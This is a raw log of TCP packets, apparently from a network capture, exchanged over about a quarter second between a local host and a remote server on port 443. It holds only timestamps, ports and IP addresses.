Dec 11, 2024 12:29:49.347270966 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.347306013 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.347428083 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.347476006 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.347481966 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.347524881 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.347524881 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.347676992 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.349262953 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.349270105 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.349483013 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.349489927 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.349535942 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.349623919 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.351393938 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.351402044 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.351650953 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.351656914 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.351700068 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.351917028 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.353216887 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.353224993 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.353451967 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.353457928 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.353527069 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.353585005 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.355041027 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.355048895 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.355227947 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.355334044 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.355338097 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.355515957 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.357479095 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.357501030 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.357673883 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.357673883 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.357697010 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.357723951 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.357723951 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.357871056 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.359500885 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.359509945 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.359707117 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.359707117 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.359714985 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.359751940 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.359751940 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.359872103 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.361388922 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.361398935 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.361578941 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.361639977 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.361643076 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.361685038 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.361782074 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.363239050 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.363246918 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.363393068 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.363393068 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.363442898 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.363445997 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.363492966 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.363538027 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.363586903 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.365339994 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.365346909 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.365519047 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.365525961 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.365614891 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.365669012 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.367595911 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.367604971 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.367749929 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.367749929 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.367804050 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.367804050 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.367808104 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.367940903 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.369493961 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.369502068 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.369658947 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.369755030 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.369776964 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.369908094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.371453047 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.371460915 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.371598005 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.371675968 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.371675968 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.371680021 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.371912956 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.373317003 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.373339891 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.373518944 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.373524904 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.373591900 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.373691082 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.376219988 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.376249075 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.376383066 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.376383066 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.376432896 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.376446009 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.376478910 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.376480103 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.376591921 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.377770901 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.377798080 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.377970934 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.377970934 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.377970934 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.378000021 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.378020048 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.378020048 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.378140926 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.379992962 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.380021095 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.380223036 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.380274057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.380289078 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.380436897 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.382437944 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.382466078 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.382626057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.382626057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.382740974 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.382752895 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.382946968 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.384398937 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.384424925 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.384566069 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.384567022 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.384618044 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.384618044 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.384630919 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.384666920 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.384767056 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.385241032 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.386372089 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.386399984 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.386539936 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.386585951 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.386585951 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.386600971 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.386631966 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.386742115 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.388098955 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.388127089 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.388264894 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.388264894 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.388312101 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.388328075 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.388364077 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.388408899 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.388511896 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.390603065 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.390630007 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.390764952 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.390764952 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.390811920 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.390824080 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.390856981 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.390908957 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.391005993 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.391057968 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.392537117 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.392569065 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.392714024 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.392714024 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.392739058 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.392757893 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.392857075 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.392904043 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.394490004 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.394522905 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.394680977 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.394752979 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.394766092 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.394984961 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.396471024 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.396498919 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.396678925 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.396742105 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.396755934 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.396919966 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.398747921 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.398776054 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.398978949 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.398999929 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.399024010 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.399276972 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.400728941 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.400757074 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.400866032 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.400964975 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.400964975 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.400978088 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.401161909 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.402651072 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.402678967 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.402792931 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.402878046 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.402890921 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.402928114 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.403047085 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.404572964 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.404601097 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.404738903 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.404738903 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.404761076 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.404787064 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.404836893 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.404881001 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.406665087 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.406692982 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.406857967 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.406857967 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.406908989 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.406908989 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.406922102 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.406956911 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.407077074 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.408936977 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.408967018 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.409091949 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.409091949 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.409138918 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.409138918 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.409151077 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.409187078 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.409312963 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.410872936 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.410900116 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.411027908 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.411124945 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.411124945 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.411139011 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.411272049 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.412774086 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.412801981 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.412955046 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.413044930 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.413058043 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.413199902 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.414608002 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.414766073 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.414772034 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.414819956 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.414819956 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.414835930 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.414917946 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.460004091 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.576965094 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.577001095 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.577265978 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.577300072 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.577477932 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.578691006 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.578726053 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.578908920 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.578910112 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.578947067 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.578967094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.578967094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.579108953 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.580482960 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.580522060 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.580765009 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.580811977 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.581007004 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.581007004 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.581026077 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.581187010 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.582279921 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.582309008 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.582524061 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.582556963 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.582576990 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.582693100 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.584028959 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.584058046 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.584180117 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.584181070 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.584227085 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.584227085 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.584242105 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.584275961 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.584422112 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.586443901 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.586477041 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.586599112 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.586599112 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.586780071 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.586792946 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.586982012 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.586982012 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.587081909 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.587984085 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.588012934 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.588139057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.588139057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.588191032 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.588191032 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.588203907 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.588285923 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.588351011 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.589736938 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.589766026 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.589915991 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.589915991 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.589958906 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.589971066 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.590055943 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.590133905 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.591852903 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.591885090 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.592109919 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.592156887 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.592156887 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.592176914 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.592287064 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.592319965 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.592394114 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.593375921 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.593405962 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.593574047 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.593574047 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.593615055 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.593615055 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.593632936 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.593662024 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.593808889 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.595573902 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.595609903 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.595788956 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.595788956 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.595828056 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.595844984 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.595916986 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.596029997 CET	49756	443	192.168.11.30	172.67.128.139
